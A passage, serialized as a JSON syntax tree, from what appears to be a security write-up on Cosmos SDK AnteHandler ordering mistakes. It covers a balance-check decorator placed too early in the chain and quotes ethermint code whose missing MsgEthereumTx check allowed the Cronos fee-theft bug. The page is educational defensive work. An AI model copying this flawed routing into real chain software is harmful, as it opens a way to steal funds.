next",{"type":26,"tag":475,"props":78333,"children":78334},{"style":505},[78335],{"type":32,"value":78270},{"type":26,"tag":475,"props":78337,"children":78338},{"style":499},[78339],{"type":32,"value":353},{"type":26,"tag":475,"props":78341,"children":78342},{"style":505},[78343],{"type":32,"value":78099},{"type":26,"tag":475,"props":78345,"children":78346},{"style":499},[78347],{"type":32,"value":2425},{"type":26,"tag":475,"props":78349,"children":78350},{"class":477,"line":679},[78351,78355,78360,78364,78368,78372,78376],{"type":26,"tag":475,"props":78352,"children":78353},{"style":499},[78354],{"type":32,"value":76011},{"type":26,"tag":475,"props":78356,"children":78357},{"style":505},[78358],{"type":32,"value":78359},"sdk",{"type":26,"tag":475,"props":78361,"children":78362},{"style":499},[78363],{"type":32,"value":353},{"type":26,"tag":475,"props":78365,"children":78366},{"style":505},[78367],{"type":32,"value":75978},{"type":26,"tag":475,"props":78369,"children":78370},{"style":499},[78371],{"type":32,"value":637},{"type":26,"tag":475,"props":78373,"children":78374},{"style":505},[78375],{"type":32,"value":14569},{"type":26,"tag":475,"props":78377,"children":78378},{"style":499},[78379],{"type":32,"value":676},{"type":26,"tag":475,"props":78381,"children":78382},{"class":477,"line":735},[78383,78388,78392,78397,78401,78405,78410,78415,78419,78424],{"type":26,"tag":475,"props":78384,"children":78385},{"style":2375},[78386],{"type":32,"value":78387}," sigTx",{"type":26,"tag":475,"props":78389,"children":78390},{"style":499},[78391],{"type":32,"value":637},{"type":26,"tag":475,"props":78393,"children":78394},{"style":2375},[78395],{"type":32,"value":78396},"ok",{"type":26,"tag":475,"props":78398,"children":78399},{"style":714},[78400],{"type":32,"value":76045},{"type":26,"tag":475,"props":78402,"children":78403},{"style":2375},[78404],{"type":32,"value":67721},{"type":26,"tag":475,"props":78406,"children":78407},{"style":499},[78408],{"type":32,"value":78409},".(",{"type":26,"tag":475,"props":78411,"children":78412},{"style":505},[78413],{"type":32,"value":78414},"authsigning",{"type":26,"tag":475,"props":78416,"children":78417},{"style":499},[78418],{"type":32,"value":353},{"type":26,"tag":475,"props":78420,"children":78421},{"style":505},[78422],{"type":32,"value":78423},"SigVerifiableTx",{"type":26,"tag":475,"props":78425,"children":78426},{"style":499},[78427],{"type":32,"value":647},{"type":26,"tag":475,"props":78429,"children":78430},{"class":477,"line":744},[78431,78435,78439,78443],{"type":26,"tag":475,"props":78432,"children":78433},{"style":586},[78434],{"type":32,"value":11988},{"type":26,"tag":475,"props":78436,"children":78437},{"style":714},[78438],{"type":32,"value":12572},{"type":26,"tag":475,"props":78440,"children":78441},{"style":2375},[78442],{"type":32,"value":78396},{"type":26,"tag":475,"props":78444,"children":78445},{"style":499},[78446],{"type":32,"value":579},{"type":26,"tag":475,"props":78448,"children":78449},{"class":477,"line":753},[78450,78454,78458,78462,78467,78471,78476],{"type":26,"tag":475,"props":78451,"children":78452},{"style":586},[78453],{"type":32,"value":15449},{"type":26,"tag":475,"props":78455,"children":78456},{"style":2375},[78457],{"type":32,"value":25544},{"type":26,"tag":475,"props":78459,"children":78460},{"style":499},[78461],{"type":32,"value":637},{"type":26,"tag":475,"props":78463,"children":78464},{"style":2375},[78465],{"type":32,"value":78466},"errorsmod",{"type":26,"tag":475,"props":78468,"children":78469},{"style":499},[78470],{"type":32,"value":353},{"type":26,"tag":475,"props":78472,"children":78473},{"style":493},[78474],{"type":32,"value":78475},"Wrap",{"type":26,"tag":475,"props":78477,"children":78478},{"style":499},[78479],{"type":32,"value":3169},{"type":26,"tag":475,"props":78481,"children":78482},{"class":477,"line":761},[78483,78488,78492,78497],{"type":26,"tag":475,"props":78484,"children":78485},{"style":2375},[78486],{"type":32,"value":78487}," sdkerrors",{"type":26,"tag":475,"props":78489,"children":78490},{"style":499},[78491],{"type":32,"value":353},{"type":26,"tag":475,"props":78493,"children":78494},{"style":2375},[78495],{"type":32,"value":78496},"ErrTxDecode",{"type":26,"tag":475,"props":78498,"children":78499},{"style":499},[78500],{"type":32,"value":2425},{"type":26,"tag":475,"props":78502,"children":78503},{"class":477,"line":770},[78504,78509],{"type":26,"tag":475,"props":78505,"children":78506},{"style":629},[78507],{"type":32,"value":78508}," \"invalid tx type\"",{"type":26,"tag":475,"props":78510,"children":78511},{"style":499},[78512],{"type":32,"value":2425},{"type":26,"tag":475,"props":78514,"children":78515},{"class":477,"line":794},[78516],{"type":26,"tag":475,"props":78517,"children":78518},{"style":499},[78519],{"type":32,"value":68014},{"type":26,"tag":475,"props":78521,"children":78522},{"class":477,"line":831},[78523],{"type":26,"tag":475,"props":78524,"children":78525},{"style":499},[78526],{"type":32,"value":851},{"type":26,"tag":475,"props":78528,"children":78529},{"class":477,"line":845},[78530],{"type":26,"tag":475,"props":78531,"children":78532},{"emptyLinePlaceholder":18},[78533],{"type":32,"value":545},{"type":26,"tag":475,"props":78535,"children":78536},{"class":477,"line":854},[78537,78542,78546,78551,78555,78560],{"type":26,"tag":475,"props":78538,"children":78539},{"style":2375},[78540],{"type":32,"value":78541}," signers",{"type":26,"tag":475,"props":78543,"children":78544},{"style":714},[78545],{"type":32,"value":76045},{"type":26,"tag":475,"props":78547,"children":78548},{"style":2375},[78549],{"type":32,"value":78550}," sigTx",{"type":26,"tag":475,"props":78552,"children":78553},{"style":499},[78554],{"type":32,"value":353},{"type":26,"tag":475,"props":78556,"children":78557},{"style":493},[78558],{"type":32,"value":78559},"GetSigners",{"type":26,"tag":475,"props":78561,"children":78562},{"style":499},[78563],{"type":32,"value":607},{"type":26,"tag":475,"props":78565,"children":78566},{"class":477,"line":862},[78567,78571,78575,78579,78583,78587,78591,78596],{"type":26,"tag":475,"props":78568,"children":78569},{"style":586},[78570],{"type":32,"value":2737},{"type":26,"tag":475,"props":78572,"children":78573},{"style":2375},[78574],{"type":32,"value":3104},{"type":26,"tag":475,"props":78576,"children":78577},{"style":499},[78578],{"type":32,"value":637},{"type":26,"tag":475,"props":78580,"children":78581},{"style":2375},[78582],{"type":32,"value":6859},{"type":26,"tag":475,"props":78584,"children":78585},{"style":714},[78586],{"type":32,"value":76045},{"type":26,"tag":475,"props":78588,"children":78589},{"style":586},[78590],{"type":32,"value":77028},{"type":26,"tag":475,"props":78592,"children":78593},{"style":2375},[78594],{"type":32,"value":78595}," signers",{"type":26,"tag":475,"props":78597,"children":78598},{"style":499},[78599],{"type":32,"value":579},{"type":26,"tag":475,"props":78601,"children":78602},{"class":477,"line":885},[78603,78608,78612,78617,78621,78626,78630,78635,78639,78643,78647,78651,78655,78660],{"type":26,"tag":475,"props":78604,"children":78605},{"style":2375},[78606],{"type":32,"value":78607}," balance",{"type":26,"tag":475,"props":78609,"children":78610},{"style":714},[78611],{"type":32,"value":76045},{"type":26,"tag":475,"props":78613,"children":78614},{"style":2375},[78615],{"type":32,"value":78616}," abd",{"type":26,"tag":475,"props":78618,"children":78619},{"style":499},[78620],{"type":32,"value":353},{"type":26,"tag":475,"props":78622,"children":78623},{"style":2375},[78624],{"type":32,"value":78625},"bk",{"type":26,"tag":475,"props":78627,"children":78628},{"style":499},[78629],{"type":32,"value":353},{"type":26,"tag":475,"props":78631,"children":78632},{"style":493},[78633],{"type":32,"value":78634},"getBalance",{"type":26,"tag":475,"props":78636,"children":78637},{"style":499},[78638],{"type":32,"value":626},{"type":26,"tag":475,"props":78640,"children":78641},{"style":2375},[78642],{"type":32,"value":19988},{"type":26,"tag":475,"props":78644,"children":78645},{"style":499},[78646],{"type":32,"value":637},{"type":26,"tag":475,"props":78648,"children":78649},{"style":2375},[78650],{"type":32,"value":6859},{"type":26,"tag":475,"props":78652,"children":78653},{"style":499},[78654],{"type":32,"value":637},{"type":26,"tag":475,"props":78656,"children":78657},{"style":2375},[78658],{"type":32,"value":78659},"ATOM",{"type":26,"tag":475,"props":78661,"children":78662},{"style":499},[78663],{"type":32,"value":647},{"type":26,"tag":475,"props":78665,"children":78666},{"class":477,"line":913},[78667,78671,78676,78680,78685,78689,78694],{"type":26,"tag":475,"props":78668,"children":78669},{"style":586},[78670],{"type":32,"value":2980},{"type":26,"tag":475,"props":78672,"children":78673},{"style":2375},[78674],{"type":32,"value":78675}," balance",{"type":26,"tag":475,"props":78677,"children":78678},{"style":499},[78679],{"type":32,"value":353},{"type":26,"tag":475,"props":78681,"children":78682},{"style":2375},[78683],{"type":32,"value":78684},"Amount",{"type":26,"tag":475,"props":78686,"children":78687},{"style":714},[78688],{"type":32,"value":8430},{"type":26,"tag":475,"props":78690,"children":78691},{"style":2375},[78692],{"type":32,"value":78693}," MIN_BALANCE",{"type":26,"tag":475,"props":78695,"children":78696},{"style":499},[78697],{"type":32,"value":579},{"type":26,"tag":475,"props":78699,"children":78700},{"class":477,"line":926},[78701,78706,78710,78714,78718,78722,78726],{"type":26,"tag":475,"props":78702,"children":78703},{"style":586},[78704],{"type":32,"value":78705}," return",{"type":26,"tag":475,"props":78707,"children":78708},{"style":2375},[78709],{"type":32,"value":25544},{"type":26,"tag":475,"props":78711,"children":78712},{"style":499},[78713],{"type":32,"value":637},{"type":26,"tag":475,"props":78715,"children":78716},{"style":2375},[78717],{"type":32,"value":78466},{"type":26,"tag":475,"props":78719,"children":78720},{"style":499},[78721],{"type":32,"value":353},{"type":26,"tag":475,"props":78723,"children":78724},{"style":493},[78725],{"type":32,"value":78475},{"type":26,"tag":475,"props":78727,"children":78728},{"style":499},[78729],{"type":32,"value":3169},{"type":26,"tag":475,"props":78731,"children":78732},{"class":477,"line":948},[78733,78738],{"type":26,"tag":475,"props":78734,"children":78735},{"style":2375},[78736],{"type":32,"value":78737}," ErrInsufficientBalance",{"type":26,"tag":475,"props":78739,"children":78740},{"style":499},[78741],{"type":32,"value":2425},{"type":26,"tag":475,"props":78743,"children":78744},{"class":477,"line":966},[78745,78750],{"type":26,"tag":475,"props":78746,"children":78747},{"style":629},[78748],{"type":32,"value":78749}," \"Insufficient Balance\"",{"type":26,"tag":475,"props":78751,"children":78752},{"style":499},[78753],{"type":32,"value":2425},{"type":26,"tag":475,"props":78755,"children":78756},{"class":477,"line":979},[78757],{"type":26,"tag":475,"props":78758,"children":78759},{"style":499},[78760],{"type":32,"value":77144},{"type":26,"tag":475,"props":78762,"children":78763},{"class":477,"line":1006},[78764],{"type":26,"tag":475,"props":78765,"children":78766},{"style":499},[78767],{"type":32,"value":750},{"type":26,"tag":475,"props":78769,"children":78770},{"class":477,"line":1046},[78771],{"type":26,"tag":475,"props":78772,"children":78773},{"style":499},[78774],{"type":32,"value":851},{"type":26,"tag":475,"props":78776,"children":78777},{"class":477,"line":1068},[78778],{"type":26,"tag":475,"props":78779,"children":78780},{"emptyLinePlaceholder":18},[78781],{"type":32,"value":545},{"type":26,"tag":475,"props":78783,"children":78784},{"class":477,"line":1077},[78785,78789,78794,78798,78802,78806,78811,78815,78820],{"type":26,"tag":475,"props":78786,"children":78787},{"style":586},[78788],{"type":32,"value":16695},{"type":26,"tag":475,"props":78790,"children":78791},{"style":493},[78792],{"type":32,"value":78793}," next",{"type":26,"tag":475,"props":78795,"children":78796},{"style":499},[78797],{"type":32,"value":626},{"type":26,"tag":475,"props":78799,"children":78800},{"style":2375},[78801],{"type":32,"value":19988},{"type":26,"tag":475,"props":78803,"children":78804},{"style":499},[78805],{"type":32,"value":637},{"type":26,"tag":475,"props":78807,"children":78808},{"style":2375},[78809],{"type":32,"value":78810},"tx",{"type":26,"tag":475,"props":78812,"children":78813},{"style":499},[78814],{"type":32,"value":637},{"type":26,"tag":475,"props":78816,"children":78817},{"style":2375},[78818],{"type":32,"value":78819},"simulate",{"type":26,"tag":475,"props":78821,"children":78822},{"style":499},[78823],{"type":32,"value":647},{"type":26,"tag":475,"props":78825,"children":78826},{"class":477,"line":1090},[78827],{"type":26,"tag":475,"props":78828,"children":78829},{"style":499},[78830],{"type":32,"value":3607},{"type":26,"tag":35,"props":78832,"children":78833},{},[78834,78836,78841,78843,78849,78851,78857],{"type":32,"value":78835},"Where should this custom ",{"type":26,"tag":53,"props":78837,"children":78839},{"className":78838},[],[78840],{"type":32,"value":78099},{"type":32,"value":78842}," be placed relative to other ",{"type":26,"tag":53,"props":78844,"children":78846},{"className":78845},[],[78847],{"type":32,"value":78848},"AnteHandlers",{"type":32,"value":78850}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":26,"tag":53,"props":78852,"children":78854},{"className":78853},[],[78855],{"type":32,"value":78856},"SetUpContextDecorator",{"type":32,"value":78858}," should work, right?",{"type":26,"tag":35,"props":78860,"children":78861},{},[78862],{"type":26,"tag":116,"props":78863,"children":78866},{"href":78864,"rel":78865},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[120],[78867],{"type":32,"value":76368},{"type":26,"tag":465,"props":78869,"children":78871},{"code":78870,"language":75793,"meta":7,"className":75794,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[78872],{"type":26,"tag":53,"props":78873,"children":78874},{"__ignoreMap":7},[78875,78908,78925,78933,78962,78974,78986,79015,79043,79122,79155,79183,79228,79273,79301],{"type":26,"tag":475,"props":78876,"children":78877},{"class":477,"line":478},[78878,78883,78887,78891,78895,78899,78904],{"type":26,"tag":475,"props":78879,"children":78880},{"style":2375},[78881],{"type":32,"value":78882},"anteDecorators",{"type":26,"tag":475,"props":78884,"children":78885},{"style":714},[78886],{"type":32,"value":76045},{"type":26,"tag":475,"props":78888,"children":78889},{"style":499},[78890],{"type":32,"value":75856},{"type":26,"tag":475,"props":78892,"children":78893},{"style":505},[78894],{"type":32,"value":78359},{"type":26,"tag":475,"props":78896,"children":78897},{"style":499},[78898],{"type":32,"value":353},{"type":26,"tag":475,"props":78900,"children":78901},{"style":505},[78902],{"type":32,"value":78903},"AnteDecorator",{"type":26,"tag":475,"props":78905,"children":78906},{"style":499},[78907],{"type":32,"value":10589},{"type":26,"tag":475,"props":78909,"children":78910},{"class":477,"line":516},[78911,78916,78920],{"type":26,"tag":475,"props":78912,"children":78913},{"style":493},[78914],{"type":32,"value":78915}," NewSetUpContextDecorator",{"type":26,"tag":475,"props":78917,"children":78918},{"style":499},[78919],{"type":32,"value":18083},{"type":26,"tag":475,"props":78921,"children":78922},{"style":552},[78923],{"type":32,"value":78924},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":26,"tag":475,"props":78926,"children":78927},{"class":477,"line":539},[78928],{"type":26,"tag":475,"props":78929,"children":78930},{"style":552},[78931],{"type":32,"value":78932}," // INSERT HERE\n",{"type":26,"tag":475,"props":78934,"children":78935},{"class":477,"line":548},[78936,78941,78945,78949,78953,78958],{"type":26,"tag":475,"props":78937,"children":78938},{"style":493},[78939],{"type":32,"value":78940}," NewExtensionOptionsDecorator",{"type":26,"tag":475,"props":78942,"children":78943},{"style":499},[78944],{"type":32,"value":626},{"type":26,"tag":475,"props":78946,"children":78947},{"style":2375},[78948],{"type":32,"value":35734},{"type":26,"tag":475,"props":78950,"children":78951},{"style":499},[78952],{"type":32,"value":353},{"type":26,"tag":475,"props":78954,"children":78955},{"style":2375},[78956],{"type":32,"value":78957},"ExtensionOptionChecker",{"type":26,"tag":475,"props":78959,"children":78960},{"style":499},[78961],{"type":32,"value":6450},{"type":26,"tag":475,"props":78963,"children":78964},{"class":477,"line":558},[78965,78970],{"type":26,"tag":475,"props":78966,"children":78967},{"style":493},[78968],{"type":32,"value":78969}," NewValidateBasicDecorator",{"type":26,"tag":475,"props":78971,"children":78972},{"style":499},[78973],{"type":32,"value":3197},{"type":26,"tag":475,"props":78975,"children":78976},{"class":477,"line":582},[78977,78982],{"type":26,"tag":475,"props":78978,"children":78979},{"style":493},[78980],{"type":32,"value":78981}," NewTxTimeoutHeightDecorator",{"type":26,"tag":475,"props":78983,"children":78984},{"style":499},[78985],{"type":32,"value":3197},{"type":26,"tag":475,"props":78987,"children":78988},{"class":477,"line":596},[78989,78994,78998,79002,79006,79011],{"type":26,"tag":475,"props":78990,"children":78991},{"style":493},[78992],{"type":32,"value":78993}," NewValidateMemoDecorator",{"type":26,"tag":475,"props":78995,"children":78996},{"style":499},[78997],{"type":32,"value":626},{"type":26,"tag":475,"props":78999,"children":79000},{"style":2375},[79001],{"type":32,"value":35734},{"type":26,"tag":475,"props":79003,"children":79004},{"style":499},[79005],{"type":32,"value":353},{"type":26,"tag":475,"props":79007,"children":79008},{"style":2375},[79009],{"type":32,"value":79010},"AccountKeeper",{"type":26,"tag":475,"props":79012,"children":79013},{"style":499},[79014],{"type":32,"value":6450},{"type":26,"tag":475,"props":79016,"children":79017},{"class":477,"line":610},[79018,79023,79027,79031,79035,79039],{"type":26,"tag":475,"props":79019,"children":79020},{"style":493},[79021],{"type":32,"value":79022}," NewConsumeGasForTxSizeDecorator",{"type":26,"tag":475,"props":79024,"children":79025},{"style":499},[79026],{"type":32,"value":626},{"type":26,"tag":475,"props":79028,"children":79029},{"style":2375},[79030],{"type":32,"value":35734},{"type":26,"tag":475,"props":79032,"children":79033},{"style":499},[79034],{"type":32,"value":353},{"type":26,"tag":475,"props":79036,"children":79037},{"style":2375},[79038],{"type":32,"value":79010},{"type":26,"tag":475,"props":79040,"children":79041},{"style":499},[79042],{"type":32,"value":6450},{"type":26,"tag":475,"props":79044,"children":79045},{"class":477,"line":650},[79046,79051,79055,79059,79063,79067,79071,79075,79079,79084,79088,79092,79096,79101,79105,79109,79113,79118],{"type":26,"tag":475,"props":79047,"children":79048},{"style":493},[79049],{"type":32,"value":79050}," NewDeductFeeDecorator",{"type":26,"tag":475,"props":79052,"children":79053},{"style":499},[79054],{"type":32,"value":626},{"type":26,"tag":475,"props":79056,"children":79057},{"style":2375},[79058],{"type":32,"value":35734},{"type":26,"tag":475,"props":79060,"children":79061},{"style":499},[79062],{"type":32,"value":353},{"type":26,"tag":475,"props":79064,"children":79065},{"style":2375},[79066],{"type":32,"value":79010},{"type":26,"tag":475,"props":79068,"children":79069},{"style":499},[79070],{"type":32,"value":637},{"type":26,"tag":475,"props":79072,"children":79073},{"style":2375},[79074],{"type":32,"value":35734},{"type":26,"tag":475,"props":79076,"children":79077},{"style":499},[79078],{"type":32,"value":353},{"type":26,"tag":475,"props":79080,"children":79081},{"style":2375},[79082],{"type":32,"value":79083},"BankKeeper",{"type":26,"tag":475,"props":79085,"children":79086},{"style":499},[79087],{"type":32,"value":637},{"type":26,"tag":475,"props":79089,"children":79090},{"style":2375},[79091],{"type":32,"value":35734},{"type":26,"tag":475,"props":79093,"children":79094},{"style":499},[79095],{"type":32,"value":353},{"type":26,"tag":475,"props":79097,"children":79098},{"style":2375},[79099],{"type":32,"value":79100},"FeegrantKeeper",{"type":26,"tag":475,"props":79102,"children":79103},{"style":499},[79104],{"type":32,"value":637},{"type":26,"tag":475,"props":79106,"children":79107},{"style":2375},[79108],{"type":32,"value":35734},{"type":26,"tag":475,"props":79110,"children":79111},{"style":499},[79112],{"type":32,"value":353},{"type":26,"tag":475,"props":79114,"children":79115},{"style":2375},[79116],{"type":32,"value":79117},"TxFeeChecker",{"type":26,"tag":475,"props":79119,"children":79120},{"style":499},[79121],{"type":32,"value":6450},{"type":26,"tag":475,"props":79123,"children":79124},{"class":477,"line":679},[79125,79130,79134,79138,79142,79146,79150],{"type":26,"tag":475,"props":79126,"children":79127},{"style":493},[79128],{"type":32,"value":79129}," NewSetPubKeyDecorator",{"type":26,"tag":475,"props":79131,"children":79132},{"style":499},[79133],{"type":32,"value":626},{"type":26,"tag":475,"props":79135,"children":79136},{"style":2375},[79137],{"type":32,"value":35734},{"type":26,"tag":475,"props":79139,"children":79140},{"style":499},[79141],{"type":32,"value":353},{"type":26,"tag":475,"props":79143,"children":79144},{"style":2375},[79145],{"type":32,"value":79010},{"type":26,"tag":475,"props":79147,"children":79148},{"style":499},[79149],{"type":32,"value":14883},{"type":26,"tag":475,"props":79151,"children":79152},{"style":552},[79153],{"type":32,"value":79154},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":26,"tag":475,"props":79156,"children":79157},{"class":477,"line":735},[79158,79163,79167,79171,79175,79179],{"type":26,"tag":475,"props":79159,"children":79160},{"style":493},[79161],{"type":32,"value":79162}," NewValidateSigCountDecorator",{"type":26,"tag":475,"props":79164,"children":79165},{"style":499},[79166],{"type":32,"value":626},{"type":26,"tag":475,"props":79168,"children":79169},{"style":2375},[79170],{"type":32,"value":35734},{"type":26,"tag":475,"props":79172,"children":79173},{"style":499},[79174],{"type":32,"value":353},{"type":26,"tag":475,"props":79176,"children":79177},{"style":2375},[79178],{"type":32,"value":79010},{"type":26,"tag":475,"props":79180,"children":79181},{"style":499},[79182],{"type":32,"value":6450},{"type":26,"tag":475,"props":79184,"children":79185},{"class":477,"line":744},[79186,79191,79195,79199,79203,79207,79211,79215,79219,79224],{"type":26,"tag":475,"props":79187,"children":79188},{"style":493},[79189],{"type":32,"value":79190}," NewSigGasConsumeDecorator",{"type":26,"tag":475,"props":79192,"children":79193},{"style":499},[79194],{"type":32,"value":626},{"type":26,"tag":475,"props":79196,"children":79197},{"style":2375},[79198],{"type":32,"value":35734},{"type":26,"tag":475,"props":79200,"children":79201},{"style":499},[79202],{"type":32,"value":353},{"type":26,"tag":475,"props":79204,"children":79205},{"style":2375},[79206],{"type":32,"value":79010},{"type":26,"tag":475,"props":79208,"children":79209},{"style":499},[79210],{"type":32,"value":637},{"type":26,"tag":475,"props":79212,"children":79213},{"style":2375},[79214],{"type":32,"value":35734},{"type":26,"tag":475,"props":79216,"children":79217},{"style":499},[79218],{"type":32,"value":353},{"type":26,"tag":475,"props":79220,"children":79221},{"style":2375},[79222],{"type":32,"value":79223},"SigGasConsumer",{"type":26,"tag":475,"props":79225,"children":79226},{"style":499},[79227],{"type":32,"value":6450},{"type":26,"tag":475,"props":79229,"children":79230},{"class":477,"line":753},[79231,79236,79240,79244,79248,79252,79256,79260,79264,79269],{"type":26,"tag":475,"props":79232,"children":79233},{"style":493},[79234],{"type":32,"value":79235}," NewSigVerificationDecorator",{"type":26,"tag":475,"props":79237,"children":79238},{"style":499},[79239],{"type":32,"value":626},{"type":26,"tag":475,"props":79241,"children":79242},{"style":2375},[79243],{"type":32,"value":35734},{"type":26,"tag":475,"props":79245,"children":79246},{"style":499},[79247],{"type":32,"value":353},{"type":26,"tag":475,"props":79249,"children":79250},{"style":2375},[79251],{"type":32,"value":79010},{"type":26,"tag":475,"props":79253,"children":79254},{"style":499},[79255],{"type":32,"value":637},{"type":26,"tag":475,"props":79257,"children":79258},{"style":2375},[79259],{"type":32,"value":35734},{"type":26,"tag":475,"props":79261,"children":79262},{"style":499},[79263],{"type":32,"value":353},{"type":26,"tag":475,"props":79265,"children":79266},{"style":2375},[79267],{"type":32,"value":79268},"SignModeHandler",{"type":26,"tag":475,"props":79270,"children":79271},{"style":499},[79272],{"type":32,"value":6450},{"type":26,"tag":475,"props":79274,"children":79275},{"class":477,"line":761},[79276,79281,79285,79289,79293,79297],{"type":26,"tag":475,"props":79277,"children":79278},{"style":493},[79279],{"type":32,"value":79280}," NewIncrementSequenceDecorator",{"type":26,"tag":475,"props":79282,"children":79283},{"style":499},[79284],{"type":32,"value":626},{"type":26,"tag":475,"props":79286,"children":79287},{"style":2375},[79288],{"type":32,"value":35734},{"type":26,"tag":475,"props":79290,"children":79291},{"style":499},[79292],{"type":32,"value":353},{"type":26,"tag":475,"props":79294,"children":79295},{"style":2375},[79296],{"type":32,"value":79010},{"type":26,"tag":475,"props":79298,"children":79299},{"style":499},[79300],{"type":32,"value":6450},{"type":26,"tag":475,"props":79302,"children":79303},{"class":477,"line":770},[79304],{"type":26,"tag":475,"props":79305,"children":79306},{"style":499},[79307],{"type":32,"value":3607},{"type":26,"tag":35,"props":79309,"children":79310},{},[79311,79313,79318,79320,79326,79327,79333],{"type":32,"value":79312},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":26,"tag":53,"props":79314,"children":79316},{"className":79315},[],[79317],{"type":32,"value":78848},{"type":32,"value":79319},", such as ",{"type":26,"tag":53,"props":79321,"children":79323},{"className":79322},[],[79324],{"type":32,"value":79325},"SigGasConsumeDecorator",{"type":32,"value":209},{"type":26,"tag":53,"props":79328,"children":79330},{"className":79329},[],[79331],{"type":32,"value":79332},"ConsumeGasForTxSizeDecorator",{"type":32,"value":79334},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":26,"tag":35,"props":79336,"children":79337},{},[79338,79340,79346,79348,79353],{"type":32,"value":79339},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":26,"tag":53,"props":79341,"children":79343},{"className":79342},[],[79344],{"type":32,"value":79345},"msgs",{"type":32,"value":79347}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":26,"tag":53,"props":79349,"children":79351},{"className":79350},[],[79352],{"type":32,"value":78174},{"type":32,"value":79354}," chain.",{"type":26,"tag":41,"props":79356,"children":79358},{"id":79357},"real-world-examples-2",[79359],{"type":32,"value":76318},{"type":26,"tag":35,"props":79361,"children":79362},{},[79363,79365,79370,79372,79379],{"type":32,"value":79364},"An instance of ",{"type":26,"tag":53,"props":79366,"children":79368},{"className":79367},[],[79369],{"type":32,"value":78099},{"type":32,"value":79371}," misuse is a ",{"type":26,"tag":116,"props":79373,"children":79376},{"href":79374,"rel":79375},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[120],[79377],{"type":32,"value":79378},"Theft of Fund bug",{"type":32,"value":79380}," that was exploited in a Cronos contract.",{"type":26,"tag":35,"props":79382,"children":79383},{},[79384,79386,79391,79393,79398,79400,79406,79408,79414,79416,79421,79423,79428],{"type":32,"value":79385},"In this scenario, ",{"type":26,"tag":53,"props":79387,"children":79389},{"className":79388},[],[79390],{"type":32,"value":79345},{"type":32,"value":79392}," are multiplexed to different ",{"type":26,"tag":53,"props":79394,"children":79396},{"className":79395},[],[79397],{"type":32,"value":78099},{"type":32,"value":79399}," sets through the user-controlled ",{"type":26,"tag":53,"props":79401,"children":79403},{"className":79402},[],[79404],{"type":32,"value":79405},"ExtensionOptionsEthereumTx",{"type":32,"value":79407}," option. However, due to a lack of tx validation, if a ",{"type":26,"tag":53,"props":79409,"children":79411},{"className":79410},[],[79412],{"type":32,"value":79413},"MsgEthereumTx",{"type":32,"value":79415}," does not have ",{"type":26,"tag":53,"props":79417,"children":79419},{"className":79418},[],[79420],{"type":32,"value":79405},{"type":32,"value":79422}," specified, it will be routed to non-Ethereum ",{"type":26,"tag":53,"props":79424,"children":79426},{"className":79425},[],[79427],{"type":32,"value":78848},{"type":32,"value":79429},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":26,"tag":35,"props":79431,"children":79432},{},[79433],{"type":26,"tag":116,"props":79434,"children":79437},{"href":79435,"rel":79436},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[120],[79438],{"type":32,"value":76368},{"type":26,"tag":465,"props":79440,"children":79442},{"code":79441,"language":75793,"meta":7,"className":75794,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n 